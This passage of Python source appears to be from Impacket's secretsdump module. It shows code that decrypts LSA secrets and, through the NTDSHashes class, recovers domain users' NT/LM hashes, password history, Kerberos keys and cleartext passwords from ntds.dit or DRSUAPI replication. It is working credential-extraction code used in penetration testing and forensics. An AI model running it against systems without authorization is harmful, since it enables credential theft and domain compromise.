1572 if strDecoded['version'] == 1:

1573 output.append(" - Version : %d" % strDecoded['version'])

1574 for qk in strDecoded['questions']:

1575 output.append(" | Question: %s" % qk['question'])

1576 output.append(" | ���������> Answer: %s" % qk['answer'])

1577 output = '\n'.join(output)

1578 secret = 'Security Questions for user %s: \n%s' % (sid, output)

1579 else:

1580 LOG.warning("Unknown SQSA version (%s), please open an issue with the following data so we can add a parser for it." % str(strDecoded['version']))

1581 LOG.warning("Don't forget to remove sensitive content before sending the data in a Github issue.")

1582 secret = json.dumps(strDecoded, indent=4)

1583

1584 if secret != '':

1585 printableSecret = secret

1586 self.__secretItems.append(secret)

1587 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, printableSecret)

1588 else:

1589 # Default print, hexdump

1590 printableSecret = '%s:%s' % (name, hexlify(secretItem).decode('utf-8'))

1591 self.__secretItems.append(printableSecret)

1592 # If we're using the default callback (ourselves), we print the hex representation. If not, the

1593 # user will need to decide what to do.

1594 if self.__module__ == self.__perSecretCallback.__module__:

1595 hexdump(secretItem)

1596 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_RAW, printableSecret)

1597

1598 def __printMachineKerberos(self, rawsecret, machinename):

1599 # Attempt to create Kerberos keys from machine account (if possible)

1600 if hasattr(self.__remoteOps, 'getMachineKerberosSalt'):

1601 salt = self.__remoteOps.getMachineKerberosSalt()

1602 if salt == b'':

1603 return False

1604 else:

1605 allciphers = [

1606 int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),

1607 int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),

1608 int(constants.EncryptionTypes.des_cbc_md5.value)

1609 ]

1610 # Ok, so the machine account password is in raw UTF-16, BUT can contain any amount

1611 # of invalid unicode characters.

1612 # This took me (Dirk-jan) way too long to figure out, but apparently Microsoft

1613 # implicitly replaces those when converting utf-16 to utf-8.

1614 # When we use the same method we get the valid password -> key mapping :)

1615 rawsecret = rawsecret.decode('utf-16-le', 'replace').encode('utf-8', 'replace')

1616 for etype in allciphers:

1617 try:

1618 key = string_to_key(etype, rawsecret, salt, None)

1619 except Exception:

1620 LOG.debug('Exception', exc_info=True)

1621 raise

1622 typename = NTDSHashes.KERBEROS_TYPE[etype]

1623 secret = "%s:%s:%s" % (machinename, typename, hexlify(key.contents).decode('utf-8'))

1624 self.__secretItems.append(secret)

1625 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_KERBEROS, secret)

1626 return True

1627 else:

1628 return False

1629

1630 def dumpSecrets(self):

1631 if self.__securityFile is None:

1632 # No SECURITY file provided

1633 return

1634

1635 LOG.info('Dumping LSA Secrets')

1636

1637 # Let's first see if there are cached entries

1638 keys = self.enumKey('\\Policy\\Secrets')

1639 if keys is None:

1640 # No entries

1641 return

1642 try:

1643 # Remove unnecessary value

1644 keys.remove(b'NL$Control')

1645 except:

1646 pass

1647

1648 if self.__LSAKey == b'':

1649 self.__getLSASecretKey()

1650

1651 for key in keys:

1652 LOG.debug('Looking into %s' % key)

1653 valueTypeList = ['CurrVal']

1654 # Check if old LSA secrets values are also need to be shown

1655 if self.__history:

1656 valueTypeList.append('OldVal')

1657

1658 for valueType in valueTypeList:

1659 value = self.getValue('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType))

1660 if value is not None and value[1] != 0:

1661 if self.__vistaStyle is True:

1662 record = LSA_SECRET(value[1])

1663 tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])

1664 plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])

1665 record = LSA_SECRET_BLOB(plainText)

1666 secret = record['Secret']

1667 else:

1668 secret = self.__decryptSecret(self.__LSAKey, value[1])

1669

1670 # If this is an OldVal secret, let's append '_history' to be able to distinguish it and

1671 # also be consistent with NTDS history

1672 if valueType == 'OldVal':

1673 key += '_history'

1674 self.__printSecret(key, secret)

1675

1676 def exportSecrets(self, baseFileName, openFileFunc = None):

1677 if len(self.__secretItems) > 0:

1678 fileName = baseFileName+'.secrets'

1679 fd = openFile(fileName, openFileFunc=openFileFunc)

1680 for item in self.__secretItems:

1681 fd.write(item+'\n')

1682 fd.close()

1683 return fileName

1684

1685 def exportCached(self, baseFileName, openFileFunc = None):

1686 if len(self.__cachedItems) > 0:

1687 fileName = baseFileName+'.cached'

1688 fd = openFile(fileName, openFileFunc=openFileFunc)

1689 for item in self.__cachedItems:

1690 fd.write(item+'\n')

1691 fd.close()

1692 return fileName

1693

1694

1695 class ResumeSessionMgrInFile(object):

1696 def __init__(self, resumeFileName=None):

1697 self.__resumeFileName = resumeFileName

1698 self.__resumeFile = None

1699 self.__hasResumeData = resumeFileName is not None

1700

1701 def hasResumeData(self):

1702 return self.__hasResumeData

1703

1704 def clearResumeData(self):

1705 self.endTransaction()

1706 if self.__resumeFileName and os.path.isfile(self.__resumeFileName):

1707 os.remove(self.__resumeFileName)

1708

1709 def writeResumeData(self, data):

1710 # self.beginTransaction() must be called first, but we are aware of performance here, so we avoid checking that

1711 self.__resumeFile.seek(0, 0)

1712 self.__resumeFile.truncate(0)

1713 self.__resumeFile.write(data.encode())

1714 self.__resumeFile.flush()

1715

1716 def getResumeData(self):

1717 try:

1718 self.__resumeFile = open(self.__resumeFileName,'rb')

1719 except Exception as e:

1720 raise Exception('Cannot open resume session file name %s' % str(e))

1721 resumeSid = self.__resumeFile.read()

1722 self.__resumeFile.close()

1723 # Truncate and reopen the file as wb+

1724 self.__resumeFile = open(self.__resumeFileName,'wb+')

1725 return resumeSid.decode('utf-8')

1726

1727 def getFileName(self):

1728 return self.__resumeFileName

1729

1730 def beginTransaction(self):

1731 if not self.__resumeFileName:

1732 self.__resumeFileName = 'sessionresume_%s' % ''.join(random.choice(string.ascii_letters) for _ in range(8))

1733 LOG.debug('Session resume file will be %s' % self.__resumeFileName)

1734 if not self.__resumeFile:

1735 try:

1736 self.__resumeFile = open(self.__resumeFileName, 'wb+')

1737 except Exception as e:

1738 raise Exception('Cannot create "%s" resume session file: %s' % (self.__resumeFileName, str(e)))

1739

1740 def endTransaction(self):

1741 if self.__resumeFile:

1742 self.__resumeFile.close()

1743 self.__resumeFile = None

1744

1745

1746 class NTDSHashes:

1747 class SECRET_TYPE:

1748 NTDS = 0

1749 NTDS_CLEARTEXT = 1

1750 NTDS_KERBEROS = 2

1751

1752 NAME_TO_INTERNAL = {

1753 'uSNCreated':b'ATTq131091',

1754 'uSNChanged':b'ATTq131192',

1755 'name':b'ATTm3',

1756 'objectGUID':b'ATTk589826',

1757 'objectSid':b'ATTr589970',

1758 'userAccountControl':b'ATTj589832',

1759 'primaryGroupID':b'ATTj589922',

1760 'accountExpires':b'ATTq589983',

1761 'logonCount':b'ATTj589993',

1762 'sAMAccountName':b'ATTm590045',

1763 'sAMAccountType':b'ATTj590126',

1764 'lastLogonTimestamp':b'ATTq589876',

1765 'userPrincipalName':b'ATTm590480',

1766 'unicodePwd':b'ATTk589914',

1767 'dBCSPwd':b'ATTk589879',

1768 'ntPwdHistory':b'ATTk589918',

1769 'lmPwdHistory':b'ATTk589984',

1770 'pekList':b'ATTk590689',

1771 'supplementalCredentials':b'ATTk589949',

1772 'pwdLastSet':b'ATTq589920',

1773 }

1774

1775 NAME_TO_ATTRTYP = {

1776 'userPrincipalName': 0x90290,

1777 'sAMAccountName': 0x900DD,

1778 'unicodePwd': 0x9005A,

1779 'dBCSPwd': 0x90037,

1780 'ntPwdHistory': 0x9005E,

1781 'lmPwdHistory': 0x900A0,

1782 'supplementalCredentials': 0x9007D,

1783 'objectSid': 0x90092,

1784 'userAccountControl':0x90008,

1785 }

1786

1787 ATTRTYP_TO_ATTID = {

1788 'userPrincipalName': '1.2.840.113556.1.4.656',

1789 'sAMAccountName': '1.2.840.113556.1.4.221',

1790 'unicodePwd': '1.2.840.113556.1.4.90',

1791 'dBCSPwd': '1.2.840.113556.1.4.55',

1792 'ntPwdHistory': '1.2.840.113556.1.4.94',

1793 'lmPwdHistory': '1.2.840.113556.1.4.160',

1794 'supplementalCredentials': '1.2.840.113556.1.4.125',

1795 'objectSid': '1.2.840.113556.1.4.146',

1796 'pwdLastSet': '1.2.840.113556.1.4.96',

1797 'userAccountControl':'1.2.840.113556.1.4.8',

1798 }

1799

1800 KERBEROS_TYPE = {

1801 1:'dec-cbc-crc',

1802 3:'des-cbc-md5',

1803 17:'aes128-cts-hmac-sha1-96',

1804 18:'aes256-cts-hmac-sha1-96',

1805 0xffffff74:'rc4_hmac',

1806 }

1807

1808 INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.items())

1809

1810 SAM_NORMAL_USER_ACCOUNT = 0x30000000

1811 SAM_MACHINE_ACCOUNT = 0x30000001

1812 SAM_TRUST_ACCOUNT = 0x30000002

1813

1814 ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT)

1815

1816 class PEKLIST_ENC(Structure):

1817 structure = (

1818 ('Header','8s=b""'),

1819 ('KeyMaterial','16s=b""'),

1820 ('EncryptedPek',':'),

1821 )

1822

1823 class PEKLIST_PLAIN(Structure):

1824 structure = (

1825 ('Header','32s=b""'),

1826 ('DecryptedPek',':'),

1827 )

1828

1829 class PEK_KEY(Structure):

1830 structure = (

1831 ('Header','1s=b""'),

1832 ('Padding','3s=b""'),

1833 ('Key','16s=b""'),

1834 )

1835

1836 class CRYPTED_HASH(Structure):

1837 structure = (

1838 ('Header','8s=b""'),

1839 ('KeyMaterial','16s=b""'),

1840 ('EncryptedHash','16s=b""'),

1841 )

1842

1843 class CRYPTED_HASHW16(Structure):

1844 structure = (

1845 ('Header','8s=b""'),

1846 ('KeyMaterial','16s=b""'),

1847 ('Unknown','<L=0'),

1848 ('EncryptedHash', ':'),

1849 )

1850

1851 class CRYPTED_HISTORY(Structure):

1852 structure = (

1853 ('Header','8s=b""'),

1854 ('KeyMaterial','16s=b""'),

1855 ('EncryptedHash',':'),

1856 )

1857

1858 class CRYPTED_BLOB(Structure):

1859 structure = (

1860 ('Header','8s=b""'),

1861 ('KeyMaterial','16s=b""'),

1862 ('EncryptedHash',':'),

1863 )

1864

1865 def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=True, remoteOps=None,

1866 useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None,

1867 justUser=None, printUserStatus=False,

1868 perSecretCallback = lambda secretType, secret : _print_helper(secret),

1869 resumeSessionMgr=ResumeSessionMgrInFile):

1870 self.__bootKey = bootKey

1871 self.__NTDS = ntdsFile

1872 self.__history = history

1873 self.__noLMHash = noLMHash

1874 self.__useVSSMethod = useVSSMethod

1875 self.__remoteOps = remoteOps

1876 self.__pwdLastSet = pwdLastSet

1877 self.__printUserStatus = printUserStatus

1878 if self.__NTDS is not None:

1879 self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote)

1880 self.__cursor = self.__ESEDB.openTable('datatable')

1881 self.__tmpUsers = list()

1882 self.__PEK = list()

1883 self.__cryptoCommon = CryptoCommon()

1884 self.__kerberosKeys = OrderedDict()

1885 self.__clearTextPwds = OrderedDict()

1886 self.__justNTLM = justNTLM

1887 self.__resumeSession = resumeSessionMgr(resumeSession)

1888 self.__outputFileName = outputFileName

1889 self.__justUser = justUser

1890 self.__perSecretCallback = perSecretCallback

1891

1892 # these are all the columns that we need to get the secrets.

1893 # If in the future someone finds other columns containing interesting things please extend ths table.

1894 self.__filter_tables_usersecret = {

1895 self.NAME_TO_INTERNAL['objectSid'] : 1,

1896 self.NAME_TO_INTERNAL['dBCSPwd'] : 1,

1897 self.NAME_TO_INTERNAL['name'] : 1,

1898 self.NAME_TO_INTERNAL['sAMAccountType'] : 1,

1899 self.NAME_TO_INTERNAL['unicodePwd'] : 1,

1900 self.NAME_TO_INTERNAL['sAMAccountName'] : 1,

1901 self.NAME_TO_INTERNAL['userPrincipalName'] : 1,

1902 self.NAME_TO_INTERNAL['ntPwdHistory'] : 1,

1903 self.NAME_TO_INTERNAL['lmPwdHistory'] : 1,

1904 self.NAME_TO_INTERNAL['pwdLastSet'] : 1,

1905 self.NAME_TO_INTERNAL['userAccountControl'] : 1,

1906 self.NAME_TO_INTERNAL['supplementalCredentials'] : 1,

1907 self.NAME_TO_INTERNAL['pekList'] : 1,

1908

1909 }

1910

1911 def getResumeSessionFile(self):

1912 return self.__resumeSession.getFileName()

1913

1914 def __getPek(self):

1915 LOG.info('Searching for pekList, be patient')

1916 peklist = None

1917 while True:

1918 try:

1919 record = self.__ESEDB.getNextRow(self.__cursor, filter_tables=self.__filter_tables_usersecret)

1920 except:

1921 LOG.error('Error while calling getNextRow(), trying the next one')

1922 continue

1923

1924 if record is None:

1925 break

1926 elif record[self.NAME_TO_INTERNAL['pekList']] is not None:

1927 peklist = unhexlify(record[self.NAME_TO_INTERNAL['pekList']])

1928 break

1929 elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:

1930 # Okey.. we found some users, but we're not yet ready to process them.

1931 # Let's just store them in a temp list

1932 self.__tmpUsers.append(record)

1933

1934 if peklist is not None:

1935 encryptedPekList = self.PEKLIST_ENC(peklist)

1936 if encryptedPekList['Header'][:4] == b'\x02\x00\x00\x00':

1937 # Up to Windows 2012 R2 looks like header starts this way

1938 md5 = hashlib.new('md5')

1939 md5.update(self.__bootKey)

1940 for i in range(1000):

1941 md5.update(encryptedPekList['KeyMaterial'])

1942 tmpKey = md5.digest()

1943 rc4 = ARC4.new(tmpKey)

1944 decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek']))

1945 PEKLen = len(self.PEK_KEY())

1946 for i in range(len( decryptedPekList['DecryptedPek'] ) // PEKLen ):

1947 cursor = i * PEKLen

1948 pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor: cursor+PEKLen])

1949 LOG.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key']).decode('utf-8'))

1950 self.__PEK.append(pek['Key'])

1951

1952 elif encryptedPekList['Header'][:4] == b'\x03\x00\x00\x00':

1953 # Windows 2016 TP4 header starts this way

1954 # Encrypted PEK Key seems to be different, but actually similar to decrypting LSA Secrets.

1955 # using AES:

1956 # Key: the bootKey

1957 # CipherText: PEKLIST_ENC['EncryptedPek']

1958 # IV: PEKLIST_ENC['KeyMaterial']

1959 decryptedPekList = self.PEKLIST_PLAIN(

1960 self.__cryptoCommon.decryptAES(self.__bootKey, encryptedPekList['EncryptedPek'],

1961 encryptedPekList['KeyMaterial']))

1962

1963 # PEK list entries take the form:

1964 # index (4 byte LE int), PEK (16 byte key)

1965 # the entries are in ascending order, and the list is terminated

1966 # by an entry with a non-sequential index (08080808 observed)

1967 pos, cur_index = 0, 0

1968 while True:

1969 pek_entry = decryptedPekList['DecryptedPek'][pos: pos+20]

1970 if len(pek_entry) < 20: break # if list truncated, should not happen

1971 index, pek = unpack('<L16s', pek_entry)

1972 if index != cur_index: break # break on non-sequential index

1973 self.__PEK.append(pek)

1974 LOG.info("PEK # %d found and decrypted: %s", index, hexlify(pek).decode('utf-8'))

1975 cur_index += 1

1976 pos += 20

1977

1978 def __removeRC4Layer(self, cryptedHash):

1979 md5 = hashlib.new('md5')

1980 # PEK index can be found on header of each ciphered blob (pos 8-10)

1981 pekIndex = hexlify(cryptedHash['Header'])

1982 md5.update(self.__PEK[int(pekIndex[8:10])])

1983 md5.update(cryptedHash['KeyMaterial'])

1984 tmpKey = md5.digest()

1985 rc4 = ARC4.new(tmpKey)

1986 plainText = rc4.encrypt(cryptedHash['EncryptedHash'])

1987

1988 return plainText

1989

1990 def __removeDESLayer(self, cryptedHash, rid):

1991 Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid))

1992

1993 Crypt1 = DES.new(Key1, DES.MODE_ECB)

1994 Crypt2 = DES.new(Key2, DES.MODE_ECB)

1995

1996 decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:])

1997

1998 return decryptedHash

1999

2000 @staticmethod

2001 def __fileTimeToDateTime(t):

2002 t -= 116444736000000000

2003 t //= 10000000

2004 if t < 0:

2005 return 'never'

2006 else:

2007 dt = datetime.fromtimestamp(t)

2008 return dt.strftime("%Y-%m-%d %H:%M")

2009

2010 def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, clearTextFile=None):

2011 # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures

2012 haveInfo = False

2013 LOG.debug('Entering NTDSHashes.__decryptSupplementalInfo')

2014 if self.__useVSSMethod is True:

2015 if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None:

2016 if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24:

2017 if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:

2018 domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]

2019 userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])

2020 else:

2021 userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]

2022 cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))

2023

2024 if cipherText['Header'][:4] == b'\x13\x00\x00\x00':

2025 # Win2016 TP4 decryption is different

2026 pekIndex = hexlify(cipherText['Header'])

2027 plainText = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],

2028 cipherText['EncryptedHash'][4:],

2029 cipherText['KeyMaterial'])

2030 haveInfo = True

2031 else:

2032 plainText = self.__removeRC4Layer(cipherText)

2033 haveInfo = True

2034 else:

2035 domain = None

2036 userName = None

2037 replyVersion = 'V%d' % record['pdwOutVersion']

2038 for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:

2039 try:

2040 attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])

2041 LOOKUP_TABLE = self.ATTRTYP_TO_ATTID

2042 except Exception as e:

2043 LOG.debug('Failed to execute OidFromAttid with error %s' % e)

2044 LOG.debug('Exception', exc_info=True)

2045 # Fallbacking to fixed table and hope for the best

2046 attId = attr['attrTyp']

2047 LOOKUP_TABLE = self.NAME_TO_ATTRTYP

2048

2049 if attId == LOOKUP_TABLE['userPrincipalName']:

2050 if attr['AttrVal']['valCount'] > 0:

2051 try:

2052 domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]

2053 except:

2054 domain = None

2055 else:

2056 domain = None

2057 elif attId == LOOKUP_TABLE['sAMAccountName']:

2058 if attr['AttrVal']['valCount'] > 0:

2059 try:

2060 userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')

2061 except:

2062 LOG.error(

2063 'Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])

2064 userName = 'unknown'

2065 else:

2066 LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])

2067 userName = 'unknown'

2068 if attId == LOOKUP_TABLE['supplementalCredentials']:

2069 if attr['AttrVal']['valCount'] > 0:

2070 blob = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])

2071 plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob)

2072 if len(plainText) > 24:

2073 haveInfo = True

2074 if domain is not None:

2075 userName = '%s\\%s' % (domain, userName)

2076

2077 if haveInfo is True:

2078 try:

2079 userProperties = samr.USER_PROPERTIES(plainText)

2080 except:

2081 # On some old w2k3 there might be user properties that don't

2082 # match [MS-SAMR] structure, discarding them

2083 return

2084 propertiesData = userProperties['UserProperties']

2085 for propertyCount in range(userProperties['PropertyCount']):

2086 userProperty = samr.USER_PROPERTY(propertiesData)

2087 propertiesData = propertiesData[len(userProperty):]

2088 # For now, we will only process Newer Kerberos Keys and CLEARTEXT

2089 if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':

2090 propertyValueBuffer = unhexlify(userProperty['PropertyValue'])

2091 kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)

2092 data = kerbStoredCredentialNew['Buffer']

2093 for credential in range(kerbStoredCredentialNew['CredentialCount']):

2094 keyDataNew = samr.KERB_KEY_DATA_NEW(data)

2095 data = data[len(keyDataNew):]

2096 keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]

2097

2098 if keyDataNew['KeyType'] in self.KERBEROS_TYPE:

2099 answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue).decode('utf-8'))

2100 else:

2101 answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue).decode('utf-8'))

2102 # We're just storing the keys, not printing them, to make the output more readable

2103 # This is kind of ugly... but it's what I came up with tonight to get an ordered

2104 # set :P. Better ideas welcomed ;)

2105 self.__kerberosKeys[answer] = None

2106 if keysFile is not None:

2107 self.__writeOutput(keysFile, answer + '\n')

2108 elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT':

2109 # [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property

2110 # This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.

2111 try:

2112 answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le'))

2113 except UnicodeDecodeError:

2114 # This could be because we're decoding a machine password. Printing it hex

2115 answer = "%s:CLEARTEXT:0x%s" % (userName, userProperty['PropertyValue'].decode('utf-8'))

2116

2117 self.__clearTextPwds[answer] = None

2118 if clearTextFile is not None:

2119 self.__writeOutput(clearTextFile, answer + '\n')

2120

2121 if clearTextFile is not None:

2122 clearTextFile.flush()

2123 if keysFile is not None:

2124 keysFile.flush()

2125

2126 LOG.debug('Leaving NTDSHashes.__decryptSupplementalInfo')

2127

2128 def __decryptHash(self, record, prefixTable=None, outputFile=None):

2129 LOG.debug('Entering NTDSHashes.__decryptHash')

2130 if self.__useVSSMethod is True:

2131 LOG.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']])

2132

2133 sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]))

2134 rid = sid.formatCanonical().split('-')[-1]

2135

2136 if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None:

2137 encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))

2138 if encryptedLMHash['Header'][:4] == b'\x13\x00\x00\x00':

2139 # Win2016 TP4 decryption is different

2140 encryptedLMHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))

2141 pekIndex = hexlify(encryptedLMHash['Header'])

2142 tmpLMHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],

2143 encryptedLMHash['EncryptedHash'][:16],

2144 encryptedLMHash['KeyMaterial'])

2145 else:

2146 tmpLMHash = self.__removeRC4Layer(encryptedLMHash)

2147 LMHash = self.__removeDESLayer(tmpLMHash, rid)

2148 else:

2149 LMHash = ntlm.LMOWFv1('', '')

2150

2151 if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None:

2152 encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))

2153 if encryptedNTHash['Header'][:4] == b'\x13\x00\x00\x00':

2154 # Win2016 TP4 decryption is different

2155 encryptedNTHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))

2156 pekIndex = hexlify(encryptedNTHash['Header'])

2157 tmpNTHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],

2158 encryptedNTHash['EncryptedHash'][:16],

2159 encryptedNTHash['KeyMaterial'])

2160 else:

2161 tmpNTHash = self.__removeRC4Layer(encryptedNTHash)

2162 NTHash = self.__removeDESLayer(tmpNTHash, rid)

2163 else:

2164 NTHash = ntlm.NTOWFv1('', '')

2165

2166 if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:

2167 domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]

2168 userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])

2169 else:

2170 userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]

2171

2172 if self.__printUserStatus is True:

2173 # Enabled / disabled users

2174 if record[self.NAME_TO_INTERNAL['userAccountControl']] is not None:

2175 if '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '1':

2176 userAccountStatus = 'Disabled'

2177 elif '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '0':

2178 userAccountStatus = 'Enabled'

2179 else:

2180 userAccountStatus = 'N/A'

2181

2182 if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None:

2183 pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']])

2184 else:

2185 pwdLastSet = 'N/A'

2186

2187 answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8'))

2188 if self.__pwdLastSet is True:

2189 answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)

2190 if self.__printUserStatus is True:

2191 answer = "%s (status=%s)" % (answer, userAccountStatus)

2192

2193 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)

2194

2195 if outputFile is not None:

2196 self.__writeOutput(outputFile, answer + '\n')

2197

2198 if self.__history:

2199 LMHistory = []

2200 NTHistory = []

2201 if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None:

2202 encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']]))

2203 tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory)

2204 for i in range(0, len(tmpLMHistory) // 16):

2205 LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)

2206 LMHistory.append(LMHash)

2207

2208 if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None:

2209 encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))

2210

2211 if encryptedNTHistory['Header'][:4] == b'\x13\x00\x00\x00':

2212 # Win2016 TP4 decryption is different

2213 encryptedNTHistory = self.CRYPTED_HASHW16(

2214 unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))

2215 pekIndex = hexlify(encryptedNTHistory['Header'])

2216 tmpNTHistory = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],

2217 encryptedNTHistory['EncryptedHash'],

2218 encryptedNTHistory['KeyMaterial'])

2219 else:

2220 tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)

2221

2222 for i in range(0, len(tmpNTHistory) // 16):

2223 NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)

2224 NTHistory.append(NTHash)

2225

2226 for i, (LMHash, NTHash) in enumerate(

2227 map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):

2228 if self.__noLMHash:

2229 lmhash = hexlify(ntlm.LMOWFv1('', ''))

2230 else:

2231 lmhash = hexlify(LMHash)

2232

2233 answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'),

2234 hexlify(NTHash).decode('utf-8'))

2235 if outputFile is not None:

2236 self.__writeOutput(outputFile, answer + '\n')

2237 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)

2238 else:

2239 replyVersion = 'V%d' %record['pdwOutVersion']

2240 LOG.debug('Decrypting hash for user: %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])

2241 domain = None

2242 if self.__history:

2243 LMHistory = []

2244 NTHistory = []

2245

2246 rid = unpack('<L', record['pmsgOut'][replyVersion]['pObjects']['Entinf']['pName']['Sid'][-4:])[0]

2247

2248 for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:

2249 try:

2250 attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])

2251 LOOKUP_TABLE = self.ATTRTYP_TO_ATTID

2252 except Exception as e:

2253 LOG.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e)

2254 LOG.debug('Exception', exc_info=True)

2255 # Fallbacking to fixed table and hope for the best

2256 attId = attr['attrTyp']

2257 LOOKUP_TABLE = self.NAME_TO_ATTRTYP

2258

2259 if attId == LOOKUP_TABLE['dBCSPwd']:

2260 if attr['AttrVal']['valCount'] > 0:

2261 encrypteddBCSPwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])

2262 encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd)

2263 LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)

2264 else:

2265 LMHash = ntlm.LMOWFv1('', '')

2266 elif attId == LOOKUP_TABLE['unicodePwd']:

2267 if attr['AttrVal']['valCount'] > 0:

2268 encryptedUnicodePwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])

2269 encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd)

2270 NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)

2271 else:

2272 NTHash = ntlm.NTOWFv1('', '')

2273 elif attId == LOOKUP_TABLE['userPrincipalName']:

2274 if attr['AttrVal']['valCount'] > 0:

2275 try:

